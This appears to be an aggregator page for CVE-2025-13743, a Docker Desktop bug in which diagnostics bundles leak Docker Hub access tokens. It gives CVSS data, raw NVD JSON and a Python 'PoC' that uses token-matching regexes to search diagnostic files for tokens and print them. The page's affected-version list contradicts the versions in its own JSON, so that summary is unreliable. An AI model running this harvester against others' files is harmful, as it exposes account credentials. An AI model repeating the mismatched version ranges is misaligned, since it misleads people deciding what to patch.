Security Vulnerability Report
中文
CVE-2025-13743 CVSS 7.5 HIGH

CVE-2025-13743

Published: 2025-12-09 21:15:54
Last Modified: 2026-01-30 19:35:24

Description

Docker Desktop diagnostics bundles were found to include expired Hub PATs in log output due to error object serialization. This poses a risk of leaking sensitive information in exported diagnostics, especially when access denied errors occurred.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:docker:docker_desktop:*:*:*:*:*:*:*:* - VULNERABLE
Docker Desktop < 4.35.0
Docker Desktop < 4.34.3
Docker Desktop < 4.33.2
Docker Desktop < 4.32.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13743 PoC - Docker Desktop Diagnostic PAT Extraction # This PoC demonstrates how to extract leaked PATs from Docker Desktop diagnostics import json import re import os import glob def search_for_pat_in_diagnostics(directory_path): """ Search for Docker Hub Personal Access Tokens in diagnostic files """ # Docker Hub PAT pattern (typically starts with 'dckr_') pat_pattern = r'dckr_[a-zA-Z0-9_-]{20,}' leaked_tokens = [] # Search through all text files in the diagnostic directory for file_path in glob.glob(os.path.join(directory_path, '**/*'), recursive=True): if os.path.isfile(file_path): try: with open(file_path, 'r', encoding='utf-8', errors='ignore') as f: content = f.read() # Look for PAT tokens matches = re.findall(pat_pattern, content) if matches: for token in matches: leaked_tokens.append({ 'token': token, 'source_file': file_path }) except Exception as e: print(f"Error reading {file_path}: {e}") return leaked_tokens def extract_authentication_errors(diagnostic_path): """ Extract authentication-related errors that may contain PATs """ auth_error_pattern = r'(401|403|Unauthorized|Access Denied).*?(dckr_[a-zA-Z0-9_-]+)' errors = [] for file_path in glob.glob(os.path.join(diagnostic_path, '**/*'), recursive=True): if os.path.isfile(file_path): with open(file_path, 'r', encoding='utf-8', errors='ignore') as f: content = f.read() matches = re.findall(auth_error_pattern, content, re.IGNORECASE | re.DOTALL) errors.extend(matches) return errors # Usage example if __name__ == "__main__": diagnostic_path = "./docker-desktop-diagnostics/" print("=== CVE-2025-13743 Docker Desktop PAT Leak Scanner ===") # Search for leaked PATs leaked = search_for_pat_in_diagnostics(diagnostic_path) if leaked: print(f"\n[ALERT] Found {len(leaked)} potentially leaked PAT(s):") for item in leaked: print(f" Token: {item['token']}") print(f" Source: {item['source_file']}") else: print("No leaked PATs found in diagnostics") # Extract auth errors auth_errors = extract_authentication_errors(diagnostic_path) if auth_errors: print(f"\nFound {len(auth_errors)} authentication error(s) containing potential PATs")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13743", "sourceIdentifier": "[email protected]", "published": "2025-12-09T21:15:53.500", "lastModified": "2026-01-30T19:35:24.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Docker Desktop diagnostics bundles were found to include expired Hub PATs in log output due to error object serialization. This poses a risk of leaking sensitive information in exported diagnostics, especially when access denied errors occurred."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.4, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-532"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:docker:docker_desktop:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.51.0", "versionEndExcluding": "4.54.0", "matchCriteriaId": "AED66C5D-76A9-42F2-99EA-50DB5140F419"}]}]}], "references": [{"url": "https://docs.docker.com/desktop/troubleshoot-and-support/troubleshoot/#troubleshoot-menu", "source": "[email protected]", "tags": ["Mitigation"]}]}}